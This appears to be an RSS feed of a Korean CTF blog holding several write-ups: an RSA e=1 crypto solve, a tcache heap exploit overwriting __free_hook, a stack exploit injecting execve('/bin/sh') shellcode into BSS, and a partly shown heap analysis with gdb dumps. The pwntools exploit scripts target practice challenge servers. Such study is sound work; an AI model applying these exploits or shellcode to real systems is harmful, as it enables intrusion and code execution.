<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>포너블은 새벽에</title>
    <link>https://m0nday.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Fri, 10 Apr 2026 15:43:51 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>m0nd2y</managingEditor>
    <image>
      <title>포너블은 새벽에</title>
      <url>https://tistory1.daumcdn.net/tistory/2883448/attach/31bcae19703f41a79784511e9e06aca8</url>
      <link>https://m0nday.tistory.com</link>
    </image>
    <item>
      <title>cryptohack.org - Salty</title>
      <link>https://m0nday.tistory.com/587</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthContent&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BqbMc/btq1OMF1Ja5/wNsvTJx79IVCcuN1DSc0u1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BqbMc/btq1OMF1Ja5/wNsvTJx79IVCcuN1DSc0u1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BqbMc/btq1OMF1Ja5/wNsvTJx79IVCcuN1DSc0u1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBqbMc%2Fbtq1OMF1Ja5%2FwNsvTJx79IVCcuN1DSc0u1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;from Crypto.Util.number import *

n = 110581795715958566206600392161360212579669637391437097703685154237017351570464767725324182051199901920318211290404777259728923614917211291562555864753005179326101890427669819834642007924406862482343614488768256951616086287044725034412802176312273081322195866046098595306261781788276570920467840172004530873767                                                                  
e = 1
ct = 44981230718212183604274785925793145442655465025264554046028251311164494127485


flag = long_to_bytes(ct)
print(flag)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;e 가 1임으로 그대로 ct를 출력하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG : crypto{saltstack_fell_for_this!}&lt;/p&gt;</description>
      <category>WarGame/cryptohack.org</category>
      <category>cryptohack</category>
      <category>cryptohack.org</category>
      <category>hacking</category>
      <category>m0nd2y</category>
      <category>pwnable.co.kr</category>
      <category>RSA</category>
      <author>m0nd2y</author>
      <guid isPermaLink="true">https://m0nday.tistory.com/587</guid>
      <comments>https://m0nday.tistory.com/587#entry587comment</comments>
      <pubDate>Mon, 15 Aug 2022 11:25:44 +0900</pubDate>
    </item>
    <item>
      <title>HackCTF - 훈폰정음</title>
      <link>https://m0nday.tistory.com/637</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1332&quot; data-origin-height=&quot;1126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5lUa3/btq8v1FeKTP/n6TEk6PZJchg4b6kuslKP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5lUa3/btq8v1FeKTP/n6TEk6PZJchg4b6kuslKP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5lUa3/btq8v1FeKTP/n6TEk6PZJchg4b6kuslKP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5lUa3%2Fbtq8v1FeKTP%2Fn6TEk6PZJchg4b6kuslKP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1332&quot; height=&quot;1126&quot; data-origin-width=&quot;1332&quot; data-origin-height=&quot;1126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;main함수&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  alarm(0x3Cu);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts(asc_11C0);
  while ( 1 )
  {
    menu();
    switch ( (unsigned int)off_1214 )
    {
      case 1u:
        add();
        break;
      case 2u:
        edit();
        break;
      case 3u:
        delete();
        break;
      case 4u:
        check();
        break;
      case 5u:
        exit(0);
        return;
      default:
        puts(&amp;amp;byte_11FB);
        break;
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;add함수&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;int add()
{
  int result; // eax
  signed int v1; // [rsp+Ch] [rbp-4h]

  puts(&amp;amp;byte_FF6);
  result = smooth();
  v1 = result;
  while ( v1 &amp;gt;= 0 &amp;amp;&amp;amp; v1 &amp;lt;= 6 )
  {
    if ( table[v1] )
      return puts(&amp;amp;byte_1018);
    puts(&amp;amp;byte_1042);
    size[v1] = smooth();
    if ( (size[v1] &amp;amp; 0x80000000) == 0 &amp;amp;&amp;amp; (signed int)size[v1] &amp;lt;= 1024 )
    {
      table[v1] = malloc((signed int)size[v1]);
      if ( !table[v1] )
        return puts(&amp;amp;byte_107F);
      puts(&amp;amp;byte_1098);
      return get_read((void *)table[v1], size[v1]);
    }
    result = puts(&amp;amp;byte_1060);
  }
  return result;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;delete 함수&lt;/p&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;int delete()
{
  int result; // eax
  int v1; // eax
  signed int v2; // [rsp+Ch] [rbp-4h]

  puts(&amp;amp;byte_FF6);
  result = smooth();
  v2 = result;
  while ( v2 &amp;gt;= 0 &amp;amp;&amp;amp; v2 &amp;lt;= 6 )
  {
    if ( !table[v2] )
      return puts(&amp;amp;byte_1138);
    v1 = count--;
    if ( v1 )
    {
      free((void *)table[v2]);
      return puts(&amp;amp;byte_1157);
    }
    result = puts(&amp;amp;byte_1168);
  }
  return result;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;adit 함수&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;int edit()
{
  int result; // eax
  int v1; // [rsp+8h] [rbp-8h]

  puts(&amp;amp;byte_FF6);
  result = smooth();
  v1 = result;
  if ( result &amp;gt;= 0 &amp;amp;&amp;amp; result &amp;lt;= 6 )
  {
    if ( table[result] )
    {
      puts(&amp;amp;byte_10D8);
      if ( (unsigned int)get_read((void *)table[v1], size[v1]) )
        result = puts(&amp;amp;byte_1100);
      else
        result = puts(&amp;amp;byte_1119);
    }
    else
    {
      result = puts(&amp;amp;byte_10B8);
    }
  }
  return result;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;check 함수&lt;/p&gt;
&lt;pre class=&quot;nimrod&quot;&gt;&lt;code&gt;int check()
{
  int result; // eax

  puts(&amp;amp;byte_FF6);
  result = smooth();
  if ( result &amp;gt;= 0 &amp;amp;&amp;amp; result &amp;lt;= 6 )
  {
    if ( table[result] )
      result = printf(&amp;amp;byte_119C, table[result]);
    else
      result = puts(&amp;amp;byte_1138);
  }
  return result;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 함수들을 확인해보면 일단 전형적인 heap문제의 구조를 띄고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;malloc, free, edit, show etc...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 문제는 처음 접한 tchche문제인데 tcache가 어떻게 돌아가는 메모리 분석을 통해서 조금 상세히 공부할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 문제에서 주의깊게 본 부분은 delete함수였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;free후 초기화를 진행해주지 않고, 무한하게 free가 가능하므로 이를 이용해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;tcache 를 모두 채운 후 unsortedbin으로 free되게 만들어서 libc_leak을 진행했다.&lt;br /&gt;그리고 malloc_free &amp;lt;-- one_shot로 덮어서 ex를 진행했다.&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;from pwn import *

#r = process(&quot;./hunpwn&quot;, env={&quot;LD_PRELOAD&quot;:&quot;./libc-2.27.so&quot;})
r = remote(&quot;ctf.j0n9hyun.xyz&quot;, 3041)
e = ELF(&quot;./hunpwn&quot;)
l = ELF(&quot;./libc-2.27.so&quot;)
context.log_level = &quot;debug&quot;

__malloc_hook_offset = l.sym['__malloc_hook']
__free_hook_offset = l.sym['__free_hook']
one_shot_offset = [0x4f2c5, 0x4f322, 0x10a38c]

log.info(&quot;__malloc_hook_offset = &quot; + hex(__malloc_hook_offset))
log.info(&quot;__free_hook_offset = &quot; + hex(__free_hook_offset))
log.info(&quot;one_shot_offset = &quot; + str(one_shot_offset))

def add(index, size, data) :
    r.recvuntil(&quot;&amp;gt;&amp;gt; &quot;)
    r.sendline(&quot;1&quot;)
    r.recvuntil(&quot;:\n&quot;)
    r.sendline(str(index))
    r.recvuntil(&quot;:\n&quot;)
    r.sendline(str(size))
    r.recvuntil(&quot;:\n&quot;)
    r.sendline(data)

def edit(index, data) :
    r.recvuntil(&quot;&amp;gt;&amp;gt; &quot;)
    r.sendline(&quot;2&quot;)
    r.recvuntil(&quot;:\n&quot;)
    r.sendline(str(index))
    r.recvuntil(&quot;:\n&quot;)
    r.sendline(str(data))

def delete(index) :
    r.recvuntil(&quot;&amp;gt;&amp;gt; &quot;)
    r.sendline(&quot;3&quot;)
    r.recvuntil(&quot;:\n&quot;)
    r.sendline(str(index))

def check(index) :
    r.recvuntil(&quot;&amp;gt;&amp;gt; &quot;)
    r.sendline(&quot;4&quot;)
    r.recvuntil(&quot;:\n&quot;)
    r.sendline(str(index))

add(0, 0x400, &quot;AAAA&quot;)
add(1, 0x80, &quot;BBBB&quot;)

for i in range(8) :
    delete(0)

check(0)

#libc_leak
r.recvuntil(&quot;:&quot;)
__malloc_hook_add = u64(r.recv(6).ljust(8, &quot;\x00&quot;))
libc_base = __malloc_hook_add - __malloc_hook_offset - 0x70
one_gadget = libc_base + one_shot_offset[1]
__free_hook_add = libc_base + __free_hook_offset

log.info(&quot;__malloc_hook_add = &quot; + hex(__malloc_hook_add))
log.info(&quot;libc_base = &quot; + hex(libc_base))
log.info(&quot;one_gadget = &quot; + hex(one_gadget))
log.info(&quot;__free_hook_add = &quot; + hex(__free_hook_add))

#free_hook &amp;lt;-- one_shot
add(2, 0x80, &quot;CCCC&quot;)
delete(2)
edit(2, p64(__free_hook_add))

add(3, 0x80, &quot;DDDD&quot;)
add(4, 0x80, p64(one_gadget))

#excute free_hook
add(5, 0x80, &quot;free_it&quot;)
delete(5)

r.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드는 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1394&quot; data-origin-height=&quot;528&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JLu8L/btq8z7Ekpvy/ARauWYpQQHRuq2fsJNyJh0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JLu8L/btq8z7Ekpvy/ARauWYpQQHRuq2fsJNyJh0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JLu8L/btq8z7Ekpvy/ARauWYpQQHRuq2fsJNyJh0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJLu8L%2Fbtq8z7Ekpvy%2FARauWYpQQHRuq2fsJNyJh0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1394&quot; height=&quot;528&quot; data-origin-width=&quot;1394&quot; data-origin-height=&quot;528&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;heap익스에 대해서 점점 더 익숙해져가고 있는 것 같다.&lt;/p&gt;</description>
      <category>WarGame/Pwnable</category>
      <category>HackCTF</category>
      <category>hacking</category>
      <category>m0nd2y</category>
      <category>pwnable</category>
      <category>pwnable.co.kr</category>
      <category>훈폰정음</category>
      <author>m0nd2y</author>
      <guid isPermaLink="true">https://m0nday.tistory.com/637</guid>
      <comments>https://m0nday.tistory.com/637#entry637comment</comments>
      <pubDate>Sun, 5 Dec 2021 11:25:12 +0900</pubDate>
    </item>
    <item>
      <title>HackCTF - Unexploitable #4</title>
      <link>https://m0nday.tistory.com/634</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;491&quot; data-origin-height=&quot;426&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKz220/btq8ewSemR2/raeAuMWO1MKbfvDulfszYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKz220/btq8ewSemR2/raeAuMWO1MKbfvDulfszYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKz220/btq8ewSemR2/raeAuMWO1MKbfvDulfszYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKz220%2Fbtq8ewSemR2%2FraeAuMWO1MKbfvDulfszYk%2Fimg.png&quot; data-origin-width=&quot;491&quot; data-origin-height=&quot;426&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s[16]; // [rsp+0h] [rbp-10h] BYREF

  ((void (__fastcall *)(__int64, char **, char **))init_)(a1, a2, a3);
  fgets(s, 0x2C, stdin);
  return 0LL;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;634&quot; data-origin-height=&quot;143&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOoH5w/btq8hlvbPdf/rRJyWabHfuSrEtvAfm3S3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOoH5w/btq8hlvbPdf/rRJyWabHfuSrEtvAfm3S3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOoH5w/btq8hlvbPdf/rRJyWabHfuSrEtvAfm3S3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOoH5w%2Fbtq8hlvbPdf%2FrRJyWabHfuSrEtvAfm3S3K%2Fimg.png&quot; data-origin-width=&quot;634&quot; data-origin-height=&quot;143&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다 풀려있었기에 shellcode를 의도한 문제라고 합리적의심을 할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에 구상은 아래와 같이 했다&lt;/p&gt;
&lt;ol style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;SFP를 BSS로 조작해서 shellcode 2번에 나누어서 삽입&lt;/li&gt;
&lt;li&gt;shellcode가 있는 주소를 ret 해서 익스 진행&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런데 위와 같이 하다보니 레지스터가 꼬이는 상황이 발생했고, 적절하게 sub rsp, 0x20 을 해줘서 익스가 가능했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;익스 코드는 아래와 같다.&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;
#r = process(&quot;./Unexploitable_4&quot;)
r = remote(&quot;ctf.j0n9hyun.xyz&quot;, 3039)
e = ELF(&quot;./Unexploitable_4&quot;)
l = e.libc
context.log_level = &quot;debug&quot;
main_add = 0x00000000004006DB #after_init_main
bss_add = e.bss()+0x800 #0x601840

log.info(&quot;main_add = &quot; + hex(main_add))
log.info(&quot;bss_add = &quot; + hex(bss_add))


sub_rsp_0x20 = &quot;\x48\x81\xec\x20\x00\x00\x00&quot; #sub_rsp_0x20
shell64 = &quot;\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05&quot; #shellcode

shellcode = sub_rsp_0x20 + shell64

shellcode1 = shellcode[:8]
shellcode2 = shellcode[8:]

#set sfp
pay = &quot;&quot;
pay += &quot;A&quot;*0x10
pay += p64(bss_add)
pay += p64(main_add)
r.sendline(pay)

#shellcode1 --&amp;gt; bss
pay = &quot;A&quot;*0x10
pay += p64(bss_add+0x28)
pay += p64(main_add)
pay += shellcode1
print(pay)
r.sendline(pay)

#shellcode2 --&amp;gt; bss
pay = &quot;&quot;
pay += shellcode2
pay = pay.ljust(0x18, &quot;\x90&quot;)
pay += p64(bss_add+0x10)
r.sendline(pay)

r.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;563&quot; data-origin-height=&quot;226&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cst14T/btq8gmBkybB/lNyKIYHfF7nO2AwmdmX5kK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cst14T/btq8gmBkybB/lNyKIYHfF7nO2AwmdmX5kK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cst14T/btq8gmBkybB/lNyKIYHfF7nO2AwmdmX5kK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcst14T%2Fbtq8gmBkybB%2FlNyKIYHfF7nO2AwmdmX5kK%2Fimg.png&quot; data-origin-width=&quot;563&quot; data-origin-height=&quot;226&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>WarGame/Pwnable</category>
      <category>HackCTF</category>
      <category>hacking</category>
      <category>m0nd2y</category>
      <category>pwnable</category>
      <category>pwnable.co.kr</category>
      <category>shellcode</category>
      <category>Stack</category>
      <category>Unexploitable #4</category>
      <author>m0nd2y</author>
      <guid isPermaLink="true">https://m0nday.tistory.com/634</guid>
      <comments>https://m0nday.tistory.com/634#entry634comment</comments>
      <pubDate>Fri, 15 Oct 2021 15:49:37 +0900</pubDate>
    </item>
    <item>
      <title>pwnable.xyz - SUS</title>
      <link>https://m0nday.tistory.com/650</link>
      <description>&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setup(argc, argv, envp);
  puts(&quot;SUS - Single User Storage.&quot;);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      printf(&quot;&amp;gt; &quot;);
      v3 = read_int32();
      if ( v3 != 1 )
        break;
      create_user();
    }
    if ( v3 &amp;lt;= 1 )
      break;
    if ( v3 == 2 )
    {
      print_user();
    }
    else if ( v3 == 3 )
    {
      edit_usr();
    }
    else
    {
LABEL_13:
      puts(&quot;Invalid&quot;);
    }
  }
  if ( v3 )
    goto LABEL_13;
  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 프로그램을 시켜보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;heap영역에서 익스플로잇을 하는 구조처럼 생겼다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;main함수를 분석해보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 입력에 따라 분기문만 존재한다.&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;unsigned __int64 create_user()
{
  void *s; // [rsp+0h] [rbp-1060h] BYREF
  unsigned __int64 v2; // [rsp+1058h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( !s )
  {
    s = malloc(0x20uLL);
    memset(s, 0, 0x20uLL);
  }
  printf(&quot;Name: &quot;);
  read(0, s, 0x20uLL);
  printf(&quot;Age: &quot;);
  read_int32();
  cur = (__int64)&amp;amp;s;
  return __readfsqword(0x28u) ^ v2;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;create_user 함수의 경우&lt;/p&gt;
&lt;ol style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;0x20사이즈를 동적할당하고&lt;/li&gt;
&lt;li&gt;초기화시켜준다.&lt;/li&gt;
&lt;li&gt;이름을 입력받아서 해당 부분에 넣고(bof X)&lt;/li&gt;
&lt;li&gt;나이를 입력받아서 ??&lt;/li&gt;
&lt;li&gt;cur 변수에 heap메모리의 주소를 넣는다.?!?!?&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;int print_user()
{
  int result; // eax

  result = cur;
  if ( cur )
  {
    printf(&quot;User: %s\n&quot;, *(const char **)cur);
    result = printf(&quot;Age: %d\n&quot;, *(unsigned int *)(cur + 72));
  }
  return result;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;print_user 함수의 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cur주소에 있는 string을 읽어서 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;age의 경우 cur+72주소에 있는 값을 읽는다.&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;unsigned __int64 edit_usr()
{
  __int64 v0; // rbx
  unsigned __int64 v2; // [rsp+1018h] [rbp-18h]

  v2 = __readfsqword(0x28u);
  if ( cur )
  {
    printf(&quot;Name: &quot;);
    read(0, *(void **)cur, 0x20uLL);
    printf(&quot;Age: &quot;);
    v0 = cur;
    *(_DWORD *)(v0 + 72) = read_int32();
  }
  return __readfsqword(0x28u) ^ v2;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;edit_usr함수의 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이름을 수정하고, age를 수정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이름 수정떄도 bof가 발생하지 않고, age수정떄도 bof가 발생하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로그램 내에서는 win함수를 직접적으로 호출하지는 않지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로그램상에는 win함수가 존재한다&lt;/p&gt;
&lt;pre class=&quot;aspectj&quot;&gt;&lt;code&gt;int win()
{
  return system(&quot;cat flag&quot;);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한참 메모리를 뒤적거려보다가&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;.bss:0000000000602268 cur             dq ?                    ; DATA XREF: create_user+9D&amp;uarr;w&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cur 이라는 변수는 0x0000000000602268에 위치하고 있고,&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;gef➤  x 0000000000602268
Invalid number &quot;0000000000602268&quot;.
gef➤  x 0x0000000000602268
0x602268 &amp;lt;cur&amp;gt;: 0x00007ffdb5ee4910
gef➤  x 0x00007ffdb5ee4910
0x7ffdb5ee4910: 0x00000000011ca2a0
gef➤  x/20gx 0x00000000011ca2a0-0x10
0x11ca290:      0x0000000000000000      0x0000000000000031
0x11ca2a0:      0x4141414141414141      0x000000000000000a
0x11ca2b0:      0x0000000000000000      0x0000000000000000
0x11ca2c0:      0x0000000000000000      0x0000000000020d41
0x11ca2d0:      0x0000000000000000      0x0000000000000000
0x11ca2e0:      0x0000000000000000      0x0000000000000000
0x11ca2f0:      0x0000000000000000      0x0000000000000000
0x11ca300:      0x0000000000000000      0x0000000000000000
0x11ca310:      0x0000000000000000      0x0000000000000000
0x11ca320:      0x0000000000000000      0x0000000000000000
gef➤  heap chunks
Chunk(addr=0x11ca010, size=0x290, flags=PREV_INUSE)
    [0x00000000011ca010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x11ca2a0, size=0x30, flags=PREV_INUSE)
    [0x00000000011ca2a0     41 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00    AAAAAAAA........]
Chunk(addr=0x11ca2d0, size=0x20d40, flags=PREV_INUSE)  &amp;larr;  top chunk
gef➤&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 위치에는 heap의 chunk 주소가 들어가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;edit user(name : BBBBBBBB, age : AAAAAAAA)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;를 해줬더니 메모리 구조가 아래처럼 됐다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;gef➤  x/10gx 0x00007ffdb5ee4910-0x10
0x7ffdb5ee4900: 0x4141414141414141      0x0000000000400a0a
0x7ffdb5ee4910: 0x00000000011ca2a0      0x0000000000000000
0x7ffdb5ee4920: 0x0000000000000000      0x7526aba595105200
0x7ffdb5ee4930: 0x00007ffdb5ee5970      0x0000000000400b3a
0x7ffdb5ee4940: 0x0000000000400c10      0x00007fdd7ffee190&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메모리를 공유해서 사용해서 다른 함수에서 사용한 메모리가 오염되는 거 같은데..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 처럼 메모리가 짜여져 있다면 0x11ca2a0 라는 값을 특정 함수의 got으로 넣은 후에 create를 해줄 때 name을 win의 함수 주소로 넣어주면 익스가 가능 할 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;payload&lt;/p&gt;
&lt;pre class=&quot;nix&quot;&gt;&lt;code&gt;from pwn import *

r = remote(&quot;svc.pwnable.xyz&quot;, 30011)
e = ELF(&quot;./challenge&quot;)
printf_got = e.got['printf']
win_add = e.sym['win']
context.log_level = &quot;debug&quot;

r.sendlineafter(&quot;&amp;gt; &quot;, &quot;1&quot;)
r.sendlineafter(&quot;Name: &quot;, &quot;AAAA&quot;)
r.sendlineafter(&quot;Age: &quot;, &quot;20&quot;)
r.sendlineafter(&quot;&amp;gt; &quot;, &quot;3&quot;)
r.sendlineafter(&quot;Name: &quot;, &quot;AAAA&quot;)
